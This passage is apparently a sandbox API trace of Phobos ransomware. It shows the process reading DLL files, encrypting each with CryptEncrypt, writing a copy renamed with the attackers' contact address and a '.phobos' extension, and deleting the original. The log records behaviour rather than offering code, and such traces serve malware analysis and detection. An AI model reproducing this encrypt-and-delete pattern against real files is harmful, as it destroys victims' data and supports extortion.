dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.883] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0163.883] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0163.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0163.883] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a50) returned 1 [0163.883] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0163.883] ReadFile (in: hFile=0x2dc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x48c0, lpOverlapped=0x0) returned 1 [0163.925] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x48d0) returned 1 [0163.925] WriteFile (in: hFile=0x2e0, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x48d0, lpOverlapped=0x0) returned 1 [0163.927] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1550) returned 1 [0163.927] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0163.927] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0163.927] CryptDestroyKey (hKey=0x1d1550) returned 1 [0163.927] WriteFile (in: hFile=0x2e0, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x122, lpOverlapped=0x0) returned 1 [0163.927] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0163.927] CloseHandle (hObject=0x2dc) returned 1 [0163.927] CloseHandle (hObject=0x2e0) returned 1 [0163.930] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0163.932] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0163.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0163.933] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=19648) returned 1 [0163.933] CloseHandle (hObject=0x2e0) returned 1 [0163.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0163.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0163.934] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0163.934] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0163.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.934] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a90) returned 1 [0163.934] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0163.934] ReadFile (in: hFile=0x2e0, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4cc0, lpOverlapped=0x0) returned 1 [0164.740] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4cd0) returned 1 [0164.740] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4cd0, lpOverlapped=0x0) returned 1 [0164.741] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0164.741] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.741] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60, dwBufLen=0x60 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60) returned 1 [0164.741] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0164.741] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x112, lpOverlapped=0x0) returned 1 [0164.741] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0164.741] CloseHandle (hObject=0x2e0) returned 1 [0164.742] CloseHandle (hObject=0x2dc) returned 1 [0164.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0164.747] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0164.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0164.748] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=22720) returned 1 [0164.748] CloseHandle (hObject=0x2dc) returned 1 [0164.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0164.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0164.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0164.749] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0164.749] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0164.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0164.749] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1b10) returned 1 [0164.749] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.749] ReadFile (in: hFile=0x2dc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x58c0, lpOverlapped=0x0) returned 1 [0164.775] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x58d0, dwBufLen=0x58d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x58d0) returned 1 [0164.775] WriteFile (in: hFile=0x2e0, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x58d0, lpOverlapped=0x0) returned 1 [0164.777] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1410) returned 1 [0164.777] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.777] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0164.777] CryptDestroyKey (hKey=0x1d1410) returned 1 [0164.777] WriteFile (in: hFile=0x2e0, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x122, lpOverlapped=0x0) returned 1 [0164.777] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0164.777] CloseHandle (hObject=0x2dc) returned 1 [0164.778] CloseHandle (hObject=0x2e0) returned 1 [0164.782] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0164.784] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0164.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0164.786] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=20672) returned 1 [0164.786] CloseHandle (hObject=0x2e0) returned 1 [0164.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0164.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0164.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0164.787] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0164.787] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0164.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0164.788] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d16d0) returned 1 [0164.788] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.788] ReadFile (in: hFile=0x2e0, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x50c0, lpOverlapped=0x0) returned 1 [0164.867] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50d0, dwBufLen=0x50d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50d0) returned 1 [0164.867] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x50d0, lpOverlapped=0x0) returned 1 [0164.868] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1710) returned 1 [0164.868] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.869] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0164.869] CryptDestroyKey (hKey=0x1d1710) returned 1 [0164.869] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x122, lpOverlapped=0x0) returned 1 [0164.869] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0164.869] CloseHandle (hObject=0x2e0) returned 1 [0164.869] CloseHandle (hObject=0x2dc) returned 1 [0164.873] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0164.876] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0164.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0164.876] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=27840) returned 1 [0164.876] CloseHandle (hObject=0x2dc) returned 1 [0164.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0164.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0164.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0164.877] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0164.877] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0164.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0164.878] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1710) returned 1 [0164.878] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.878] ReadFile (in: hFile=0x2dc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x6cc0, lpOverlapped=0x0) returned 1 [0164.991] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x6cd0, dwBufLen=0x6cd0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x6cd0) returned 1 [0164.991] WriteFile (in: hFile=0x2e0, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x6cd0, lpOverlapped=0x0) returned 1 [0164.993] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1a50) returned 1 [0164.993] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0164.993] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60, dwBufLen=0x60 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60) returned 1 [0164.993] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0164.993] WriteFile (in: hFile=0x2e0, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x112, lpOverlapped=0x0) returned 1 [0164.993] CryptDestroyKey (hKey=0x1d1710) returned 1 [0164.993] CloseHandle (hObject=0x2dc) returned 1 [0164.994] CloseHandle (hObject=0x2e0) returned 1 [0164.997] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0164.999] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0164.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.000] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=26816) returned 1 [0165.000] CloseHandle (hObject=0x2e0) returned 1 [0165.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0165.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.001] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.001] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0165.001] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a90) returned 1 [0165.001] CryptSetKeyParam 